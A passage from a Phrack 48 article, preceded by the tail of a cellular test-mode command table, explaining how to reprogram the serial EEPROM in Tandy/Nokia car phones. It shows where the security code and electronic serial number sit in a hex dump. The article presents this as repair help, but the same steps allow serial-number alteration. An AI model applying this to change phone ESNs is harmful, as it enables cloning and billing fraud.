||
| | | | FAIL=2-second timeout, no
|
||
| | | | looped-back data, or
|
||
| | | | looped-back data is incorrect.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 52A# | (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 53# | (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 54# | (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 55# | DISPLAY/PROGRAM | NAM | Displays the contents of the
|
||
| | | | NAM, one step at a time, ad-
|
||
| | | | vanced by depressing the (*)
|
||
| | | | key. Only the last 7 digits
|
||
| | | | of data are displayed. Refer
|
||
| | | | to NAM programming instruct-
|
||
| | | | ions in this manual for progr-
|
||
| | | | amming details.
|
||
|
|
||
| 01. 02051 - System ID umber. Vodaphone=02051 Cellnet=03600
|
||
| 02. xxxxxxxx - A option byte (in binary)
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Local use (bit A7) if set to 1 mobile will |
|
||
| | 0 | respond to local control orders in the home|
|
||
| | | area. Assigned by system operator. |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Preferred system (bit A6) applies to units |
|
||
| | 0 | capable of operating on two service systems|
|
||
| | | 0 = system B 1 = system A |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | End-to-end signaling (bit A5) when enabled|
|
||
| | 1 | indicates mobile is equipped for DTMF via |
|
||
| | | the keys after the landline connection is |
|
||
| | | made. 1 = enabled 0 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | Bit not used (bit A4) |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Repertory (bit A3) indicates the mobile is |
|
||
| | 1 | equipped with speed-dialing storage. |
|
||
| | | 1 = enabled 0 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Aux alert (bit A2) when enabled, user can |
|
||
| | 1 | place the mobile in aux alert mode and be |
|
||
| | | notified of incoming call via an aux device|
|
||
| | | 1 = enabled 0 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | H/F auto mute (bit A1) when enabled, mobile|
|
||
| | 0 | will automatically be in the mute mode when|
|
||
| | | a call is made using the hands-free mode |
|
||
| | | 1 = enabled 0 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Minmark (bit A0)supplied by system operator|
|
||
| | 0 | when enabled the users MIN2 will be sent |
|
||
| | | with each call initiated or answered. |
|
||
| | | 1 = enabled 0 = disabled |
|
||
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
| 03. xxxxxxxxxx - Mobile phone number
|
||
| 04. xxxxxxxxxx - 10 digit min
|
||
| 05. 17 - Station class mark
|
||
| 06. 09 - Access overload class (15 highest priority)
|
||
| 07. xxxxxx - Security code
|
||
| 08. xxx - Lock code
|
||
| 09. xxxxxxxx - B option byte (in binary)
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit b7 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit b6 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit b5 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Extended field (bit b4) when enabled, the |
|
||
| | 0 | mobile would scan more than 32 paging ch. |
|
||
| | | currently not used in UK. |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Single system scan (bit b3) if set to 1 |
|
||
| | 1 | the mobile will scan only 1 system based |
|
||
| | | on the setting of option byte A bit 6 |
|
||
| | | 1 = enabled 0 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Auto recall (bit b2) this option allows the|
|
||
| | 1 | user to access repertory by a 1 or 2 digit |
|
||
| | | send sequence |
|
||
| | | 1 = enabled 0 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Disable service levels (bit b1) if set to 1|
|
||
| | 0 | service levels couldn't be changed from the|
|
||
| | | control unit. |
|
||
| | | 0 = enabled 1 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Lock code (bit b0) when enabled, allows the|
|
||
| | 0 | user to lock and unlock the mobile using |
|
||
| | | the three digit lock code. |
|
||
| | | 0 = enabled 1 = disabled |
|
||
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
| 10. xxxxxxxx - C option byte (in binary)
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | User NAM programming (bit c7) when enabled |
|
||
| | 0 | allows user to program NAM from handset |
|
||
| | | 0 = enabled 1 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | Single/Dual system (bit c6) 0=single 1=dual|
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Call timer (bit c5) when enabled, the user |
|
||
| | 0 | can access the call timer. |
|
||
| | | 0 = enabled 1 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 1 | Auto re-dial (bit c4) |
|
||
| | | 0 = enabled 1 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Speaker disable (bit c3) enable or disable |
|
||
| | 1 | handset speaker when fitting hands free |
|
||
| | | 0 = enabled 1 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit c2 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Selectable system (bit c1) allows user to |
|
||
| | 1 | select primary system. |
|
||
| | | 0 = enabled 1 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit c0 not used |
|
||
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
| 11. xxxxxxxx - D option byte (in binary)
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | Max volume (bit d7) sets max vol to step 4 |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | Theft disable (bit d6) when set to 1, theft|
|
||
| | | alarm is not accessible. |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | Beeper disable (bit d5) 1=disable |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 1 | EXT DTMF(bit d4) when clear, DTMF is routed|
|
||
| | | directly through APC. |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | Flashing roam (bit d3) if enabled, roam |
|
||
| | | light will flash when home area roaming. |
|
||
| | | 1 = enabled 0 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Audio convenience (bit d2) if disabled, |
|
||
| | 0 | audio levels are re-centered on power up. |
|
||
| | | 0 = enabled 1 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Time rx calls (bit d1) call timers will |
|
||
| | 0 | accumulate on incoming calls when enabled |
|
||
| | | 1 = enabled 0 = disabled |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | | Charge rate (bit d0) when enabled,telephone|
|
||
| | 1 | will respond to charge rate information |
|
||
| | | 1 = enabled 0 = disabled |
|
||
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
| 12. 0023 - Initial paging system 0023=Vodaphone 0323=Cellnet
|
||
| 13. 0023 - Initial paging channel A
|
||
| 14. 0323 - Initial paging channel B
|
||
| 15. 021 - Dedicated paging channels
|
||
| 16. xxxxxxxx - E option bytes (in binary)
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit e7 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit e6 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit e5 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit e4 transportable speaker present |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit e3 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit e2 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 0 | bit e1 not used |
|
||
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|
||
| | 1 | Word sync scan disable (bit e0) portable |
|
||
| | | use only. |
|
||
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 56# | (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 57# | (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 58# | COMPANDER ON | | Turn compander ON
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 59# | COMPANDER OFF | | Turn compander OFF
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 60# and 61# | (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 61# | ESN TRANSFER | | For series I or 1? and MINI
|
||
| | | | TACS - Probably Micro TACS.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 62# | RNG-ON | | Turn the APC ringer audio
|
||
| | | | path ON.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 63# | RNG-OFF | | Turn the APC ringer audio
|
||
| | | | path OFF.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 64# | PLT-ON | | Turn the APC transmit pilot
|
||
| | | | path on.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 65# | PLT-OFF | | Turn the APC transmit pilot
|
||
| | | | path off.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 66# thru 71#| (NOT USED) | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 66# | IDENTITY TRANSFER | | Series II and some current
|
||
| | | | portables.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 68# | DISPLAY FLEX AND | |
|
||
| | MODEL INFO | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 69# | USED WITH IDENTITY | |
|
||
| | TRANSFER | |
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 72# | MODULATION GAIN | | Refer to the Portable
|
||
| | ADJUST | | Telephone Phasing section for
|
||
| | | | use of this command.
|
||
|-------------|---------------------|---------|-----------------------------
|
||
| 73# | POWER OUTPUT ADJUST | | Refer to the Portable
|
||
| | | | Telephone Phasing section for
|
||
| | | | use of this command.
|
||
| | | | (0 to 7.)
|
||
|-------------|---------------------|---------|-----------------------------
|
||
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 7 of 18
|
||
|
||
|
||
TANDY / RADIO SHACK CELLULAR PHONES
|
||
|
||
REBUILDING ELECTRONIC SERIAL NUMBERS AND OTHER DATA
|
||
|
||
|
||
By Damien Thorn
|
||
|
||
|
||
|
||
|
||
LEGAL CRAP
|
||
|
||
(mandated by our cheap-suit, can't afford cigars, polyester-pants-wearing,
|
||
no-practice-having, almost dis-barred, old-fart legal counsel who only charges
|
||
us $20 / hour because he meant to retire when he was 70 but lived a few years
|
||
longer than he expected...hell, we love him!)
|
||
|
||
Contents copyright 1994, 1995 Phoenix Rising Communications.
|
||
Software copyright 1993, 1994, 1995 as indicated.
|
||
|
||
All Rights Reserved. Distribution of contents in hard-copy form is forbidden.
|
||
Redistribution in electronic form is permitted only as outlined in the Phrack
|
||
licensing agreement, provided this article is not segregated from the other
|
||
editorial contents of Phrack #48.
|
||
|
||
Use caution when rebuilding corrupt serial numbers, and avoid lending your
|
||
talents to further the goals of unscrupulous people.
|
||
|
||
Altering the serial number of a cellular transceiver is a violation of the
|
||
FCC rules, and the U.S. Secret Service is charged with the responsibility
|
||
of investigating fraudulent activity.
|
||
|
||
All of this material was developed in-house and not provided or
|
||
endorsed by the manufacturer. Brand names and trademarks are used for
|
||
identification purposes only and are the property of their respective
|
||
owners. Use of same within this article definitely does not imply agreement
|
||
with or endorsement of the material presented, and probably aggravates them
|
||
to no end. There are no guarantees or warranties with regard to the accuracy
|
||
of this article. Although we've done the best job that we can, we may be
|
||
wrong. Happens all the time. If you damage a phone or inadvertently start
|
||
a global thermonuclear war, that's your problem. Don't come crying to us, or
|
||
make us fork over another twenty bucks to the old shyster. What you do with
|
||
this information is your responsibility.
|
||
|
||
|
||
INTRODUCTION
|
||
|
||
|
||
While manufacturers publish service manuals for their cellular
|
||
transceivers, they have an annoying habit of omitting certain
|
||
data pertaining to memory devices and the arrangement of the data
|
||
stored inside them. Since this stored information includes the
|
||
electronic serial number (ESN), the lack of documentation can
|
||
easily be excused as a way to avoid unwittingly facilitating
|
||
fraud.
|
||
|
||
The drawback to the 'security through obscurity' approach is that
|
||
service technicians who have a legitimate need to reprogram these
|
||
memory devices are unable to do so. The Nokia-designed
|
||
transceivers discussed in this article are an excellent example.
|
||
Since the ESN is stored in the same electrically-erasable
|
||
programmable read-only memory (EEPROM) device as the numeric
|
||
assignment module (NAM) information, corruption of the data can
|
||
be catastrophic to the operation of the phone.
|
||
|
||
Since the handset programming mode of these Nokia units actually
|
||
write-enables the memory device to store the alterable parameters,
|
||
an errant pulse from the microprocessor, dropped bits or supply
|
||
voltages falling out of tolerance can cause the ESN or checksum
|
||
to become overwritten or otherwise rendered useless. Should this
|
||
occur, dealers have had little recourse but to ship the
|
||
transceiver back to the factory for repair. Until now, that is.
|
||
|
||
The goal of Phoenix Rising Communications in producing this
|
||
documentation is to empower technicians to do the job they have
|
||
been educated and hired to perform. This guide to Tandy and
|
||
Radio Shack cellular phones will enable the technician to rebuild the
|
||
corrupt data within this series of transceivers with confidence.
|
||
|
||
The information in this article was developed from the installed
|
||
and transportable versions of the most commonly purchased phones
|
||
from Radio Shack stores. These units were sold for many years,
|
||
and finally replaced last year with a new, redesigned model. The
|
||
data presented here can probably be applied to certain compatible
|
||
Nokia transceivers as indicated later in the text.
|
||
|
||
|
||
CHAPTER 1
|
||
|
||
This publication is designed to provide supplemental information
|
||
to assist in the servicing of cellular mobile telephones
|
||
manufactured by Tandy Corporation under license from the Nokia Corporation.
|
||
It is not meant to be a replacement for the factory service manual.
|
||
Any shop needing to perform component level repairs should
|
||
definitely obtain the factory documentation from Tandy National
|
||
Parts.
|
||
|
||
Our primary goal is to explain the contents of the numeric
|
||
assignment module, or NAM. In these particular phones, both the
|
||
NAM parameters and the electronic serial number (ESN) are stored
|
||
within the same electrically erasable programmable read-only
|
||
memory (EEPROM) device.
|
||
|
||
The problem inherent with this engineering decision is that the
|
||
ESN stored within this chip is not necessarily permanent. Since the
|
||
chip can be erased or reprogrammed, certain circumstances could
|
||
possibly cause the ESN to become corrupt. These include improper
|
||
signals from the microprocessor, induced currents or a power
|
||
interruption during NAM programming as the write cycle is taking
|
||
place.
|
||
|
||
Since the available service literature does not describe the
|
||
functions of this serial EEPROM or the data contained within,
|
||
service personnel would have to return the transceiver to the
|
||
manufacturer for service. This is not cost effective in terms of
|
||
time or money for either the shop or cellular customer.
|
||
|
||
Technicians who invest a little time to become familiar with the
|
||
data stored within the NAM circuitry, including the placement of
|
||
the ESN and checksum byte can service these types of problems
|
||
in-house and with little difficulty.
|
||
|
||
Basic instructions for peaking the transceiver's RF sections have
|
||
also been included herein as a convenience. While the phone is
|
||
open and on the test bench, the customer's transceiver should
|
||
also be given a quick check for proper alignment.
|
||
|
||
EQUIPMENT REQUIRED
|
||
|
||
Other than basic hand tools, disassembly of the phone requires a
|
||
soldering iron with a medium sized tip and a vacuum de-soldering
|
||
tool. Good size solder removal braid may be used in conjunction
|
||
with, or in lieu of the de-soldering tool.
|
||
|
||
To correct data that has become corrupted within the EEPROM, a
|
||
programming device is required capable of reading and burning an
|
||
8-pin DIP integrated circuit. One such inexpensive device is
|
||
listed in appendix III.
|
||
|
||
An individual who is familiar with the memory device involved has
|
||
written a software program in the BASIC language to allow the
|
||
programming of this chip via the parallel port of an
|
||
IBM-compatible personal computer. The source code for this program
|
||
can be found in the appendix, and is provided as a reference only. Such
|
||
software is subject to the peculiarities of the host PC and
|
||
therefore cannot be recommended for use in place of a standard PROM
|
||
programmer. Older versions of GWBASIC are preferred to Microsoft's
|
||
current QBASIC interpreter.
|
||
|
||
MODELS COVERED
|
||
|
||
The information presented is believed to cover all of the installed
|
||
and transportable (bag phone) cellular transceivers manufactured
|
||
by the Tandy Corporation under license from the Nokia Corporation up
|
||
until about a year ago.
|
||
|
||
Tests have been conducted on a random selection of these phones
|
||
with manufacture dates ranging from 1989 through early 1994. All
|
||
versions of the "TP" firmware through January, 1994 should be
|
||
supported.
|
||
|
||
Although no house-branded OEM Nokia transceivers have been
|
||
tested, we have surmised that this information is applicable to several
|
||
models based on the same or a similar design. These models
|
||
include the Nokia LX-11, M-11, M-10 and the Nokia-Mobira P4000 (PT612).
|
||
Some of these units, like the very old Radio Shack equivalents,
|
||
will require a service handset to program. More on that in the
|
||
next issue of Phrack.
|
||
|
||
HAND-HELD UNITS
|
||
|
||
Only one of the hand-held cellular phones previously sold through
|
||
Radio Shack utilizes a discrete surface-mounted integrated
|
||
circuit to store the ESN and NAM parameters. If you have the capability
|
||
to read and program this SOIC 93C46 memory device you may be able to
|
||
extrapolate the PROM dumps in this guide to work with this phone.
|
||
|
||
Due to the difficulty in disassembling this unit and the delicate
|
||
nature of the surface-mounted EEPROM, the reader is cautioned
|
||
against attempting to service these in-house.
|
||
|
||
DISASSEMBLY
|
||
|
||
Prior to disassembling the transceiver, all antenna and cables,
|
||
including the handset, should be disconnected from the jacks on
|
||
the unit.
|
||
|
||
To aid in disassembly and component location, the original
|
||
hard-copy version of this publication contained several pages of
|
||
photographs. While the hard-copy version is available (see end of
|
||
article), you will hopefully be able to figure out what we're talking about
|
||
without them.
|
||
|
||
Disassembly begins by snapping the plastic end panel from the
|
||
black transceiver cover. Some units just pop up and off, while others
|
||
have two small plastic tabs on each side that must be depressed
|
||
free the end panel for removal.
|
||
|
||
With the end panel removed, the top plastic cover is now free to
|
||
slide off. With this cover removed, the metal transceiver itself
|
||
can be dumped from the remaining plastic housing by turning it
|
||
upside down, or pulling up on the metal heat sink assembly that
|
||
comprises one side of the transceiver unit.
|
||
|
||
There is a metal shield on each side of the transceiver (top and
|
||
bottom.) One is a solid piece of thin sheet metal, and the other
|
||
is broken up in to smaller, individual shields and soldered to
|
||
the transceiver chassis. The shield that needs to be removed is the
|
||
solid one. It is only held in place with the friction grips
|
||
along the edges, and can be pried off with your fingers.
|
||
|
||
Once the shield is removed from the proper side of the
|
||
transceiver, the solder side of the logic board will be exposed.
|
||
This board must be removed to gain access to the component side. Take
|
||
static precautions so as not to fry the CMOS silicon that is currently
|
||
hidden from view.
|
||
|
||
Other than several connectors that mate between the two boards,
|
||
the board is usually held in place by several blobs of solder spaced
|
||
along the edge of the board. These small 'solder welds' serve as
|
||
a ground bond between the board and the transceiver chassis, and
|
||
are not electrically necessary under normal circumstances.
|
||
|
||
Once the solder ground bonds have been melted and removed with a
|
||
de-soldering tool or solder wick, use a pair of needle-nose pliers
|
||
to gently bend back the small metal tabs holding the circuit
|
||
board in place.
|
||
|
||
Before proceeding, inspect the foil side of the board to ensure
|
||
that no solder has splashed on the board during de-soldering, and
|
||
that the foil traces where the work was performed are still
|
||
intact. This last step is where most trouble arises. These boards are
|
||
delicate, and a heavy hand while prying or bending will almost
|
||
ensure that a trace or five will be transected when the tool
|
||
slips. If this happens, resolder the traces to undo the damage.
|
||
|
||
At this point the logic board is held in place only by pins on
|
||
the transceiver board sticking up in to sockets on the logic board.
|
||
Gripping the edges of the logic board with your fingers and
|
||
pulling straight up will disengage the connectors and allow the logic
|
||
board to pull free of the transceiver. Slightly rocking the board from
|
||
each side may aid in the removal. Do not grip the board with
|
||
pliers or damage can result to the small chip resistors and other
|
||
components mounted on the solder side of the board.
|
||
|
||
Once dislodged, you'll have two separate circuit boards.
|
||
|
||
THE LOGIC BOARD
|
||
|
||
The board that supplies logic and control functions for the
|
||
cellular mobile telephone is easily identifiable by the
|
||
microprocessor and 27C512 EPROM containing the operating
|
||
firmware. The EPROM's erase window is covered by a protective sticker
|
||
that identifies the firmware version stored therein. Within the last
|
||
few years, the version has ranged from TP-2 through TP-8.
|
||
|
||
Also on this board is the serial EEPROM where the ESN and NAM
|
||
parameters are stored. This chip is an 8-pin DIP located in a
|
||
socket near pin #1 of the NEC microprocessor. It is usually
|
||
covered with a small paper sticker bearing the last few digits of
|
||
the serial number stored inside.
|
||
|
||
While security experts may blast Nokia for designing a phone that
|
||
stores the ESN in a socketed chip, and then says "here I am" by
|
||
placing a sticker on it, this is a dream come true for any
|
||
technician facing issues of data corruption.
|
||
|
||
THE SERIAL EEPROM
|
||
|
||
The Serial EEPROM containing all of this data is a PCD8572 (or
|
||
85C72) manufactured by Microchip Technology, Inc.
|
||
|
||
This 8-pin device is a 1k (128x8) CMOS serial electrically
|
||
erasable PROM. The pin configuration for the device can be found in the
|
||
appendix.
|
||
|
||
Power is supplied to this chip only when the microprocessor is
|
||
performing a read or write operation. Transistor Q115 (surface
|
||
mounted to the underside of the logic board right about in the
|
||
middle) switches the supply voltage on and off. Should power be
|
||
interrupted during the write cycle, the ESN may become corrupt.
|
||
|
||
REBUILDING THE ESN
|
||
|
||
To replace the damaged serial number, note the unit's serial
|
||
number from the cellular service agreement or the phone itself.
|
||
The ESN (in decimal) is located on a white paper sticker applied to the
|
||
side of the metal transceiver chassis. It is also stamped into the
|
||
plastic model identification plate on one side of the plastic
|
||
outer housing.
|
||
|
||
For reprogramming, the ESN must be converted to hex. A scientific
|
||
calculator or any number of public domain computer programs will
|
||
simplify the task.
|
||
|
||
CONTENTS OF NAM
|
||
|
||
Once the original serial number has been determined, carefully
|
||
remove the 8572 EEPROM from the socket and place it in the
|
||
adapter required by your PROM programmer. Reading the contents of the
|
||
chip, you'll see data as depicted below.
|
||
|
||
Note that these data dumps are simulated for illustrative purposes.
|
||
The ESN and encoded MIN bytes are not legitimate numbers, so don't
|
||
bother 'testing' them.
|
||
|
||
The first five bytes of data contain the security code. These
|
||
bytes are the hex values representing ASCII characters 0 through
|
||
9, thus represented as "3X" where "X" is the actual digit of the
|
||
security code. A factory security code of 1 2 3 4 5 would be
|
||
represented in bytes 00 through 04 as follows:
|
||
|
||
31 32 33 34 35
|
||
|
||
Since you will require the security code to enter handset
|
||
programming mode, please note the current security code or
|
||
program these bytes with your shop's standard default.
|
||
|
||
UNDERSTANDING ADDRESSES
|
||
|
||
Some cellular technicians have little experience in the digital
|
||
world. Service monitors and watt-meters are expensive and wonderful
|
||
devices, but sometimes you need to do a little more than tweak a pot
|
||
to fix a phone. The digital-literate can skip this oversimplified
|
||
explanation.
|
||
|
||
To assist those in reading the locations of the various bytes in the EEPROM,
|
||
understand that each line (as usually displayed on a programmer) contains
|
||
sixteen (16) bytes. The first line begins with byte 00, then 01, 02, 03,
|
||
04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E and finally 0F.
|
||
|
||
The second line begins with 10, then 11, 12, 13, 14, 15, 16, 17,
|
||
18, 19, 1A, 1B, 1C, 1D, 1E, and 1F as the last byte of the line.
|
||
The third line increments the same way, except as byte 30, 31,
|
||
etc., to 3F. You now know how to count in base 16 (hex)!
|
||
|
||
As an example, the locations used by the phone end at byte 3D,
|
||
which contains 00 in the example below. Beginning with the next
|
||
byte (3E), a repetitive pattern of alternating values of AA and
|
||
55 are stored. This is just 'test' data and is never read by the
|
||
phone. The chip itself ends at byte 7F, and your PROM programmer
|
||
may display FF following byte 7F to indicate the non-existence of
|
||
these locations in the chip.
|
||
|
||
|
||
8572 EXAMPLE DATA DUMP
|
||
|
||
|
||
0000 31 32 33 34 35 0A FF 21 A5 38 25 82 0F 25 17 1A
|
||
0010 00 00 00 00 24 15 B1 C3 24 04 A3 21 16 2D 11 AA
|
||
0020 0A 00 00 64 6C B3 32 00 27 00 01 01 11 11 11 11
|
||
0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF 00 AA 55
|
||
0040 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
0050 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
0060 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
0070 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
|
||
|
||
THE CRUCIAL SERIAL NUMBER
|
||
|
||
The hex ESN for any given phone consists of four bytes, as we use
|
||
the term here. Technically it is eight bytes (in hex, 32 bits if
|
||
expressed in binary form), but we're referring to a 'byte' as a two-digit
|
||
hex number, rather than each digit (byte) as a single entity. For our
|
||
example, we're using the fictitious ESN of A521FF0A. All Radio Shack
|
||
phones will have an ESN beginning with A5 hex. This is the "manufacturers
|
||
code" prefix that has been assigned to Tandy.
|
||
|
||
Breaking the ESN into four bytes as viewed on the PROM programmer,
|
||
the ESN would appear as:
|
||
|
||
A5 21 FF 0A
|
||
|
||
Refer back to the example dump of the data within the 8572 IC.
|
||
Immediately following the security code is the ESN stored in
|
||
reverse order. With the security code occupying bytes 00 to 04,
|
||
the ESN is located in bytes 05, 06, 07 and 08. Byte 09 contains
|
||
the value 38. It should always contain 38.
|
||
|
||
In the example, beginning with byte 05 you can read the ESN (in
|
||
reverse sequence) as:
|
||
|
||
0A FF 21 A5
|
||
|
||
The examples below will assist you in visualizing the bytes
|
||
containing the security code and the electronic serial number.
|
||
The programming and placement of these two crucial pieces of data is
|
||
fairly straight forward. Using the buffer editor function of the
|
||
PROM programmer, you can simply type over the garbage that may be
|
||
present in these locations with the correct values for the
|
||
security code and the ESN. Double check your data entry!
|
||
|
||
OTHER ADDRESSES
|
||
|
||
The entire NAM data is stored in the remaining locations of this
|
||
chip. Bytes 0A, 0B and 0C contain the firmware revision date,
|
||
and bytes 0D - 0F contain the installation date as programmed via the
|
||
handset programming mode.
|
||
|
||
Other bytes contain the encoded Mobile Identification Number
|
||
(MIN), Station Class Mark (SCM), etc.
|
||
|
||
These various bytes do not need to be reprogrammed through your
|
||
PROM burner, as they can all be corrected via handset
|
||
programming. Only the security code and ESN must be properly reprogrammed
|
||
directly to the chip itself. For more information on the locations
|
||
of this other data, refer to the source code in Appendix A. It
|
||
allows you to see where (and how) this other data is stored within
|
||
the NAM.
|
||
|
||
The last item to program is the checksum.
|
||
|
||
|
||
THE SECURITY CODE: BYTES 00 - 04
|
||
|
||
0000 31 32 33 34 35 XX XX XX XX XX XX XX XX XX XX XX
|
||
|
||
|
||
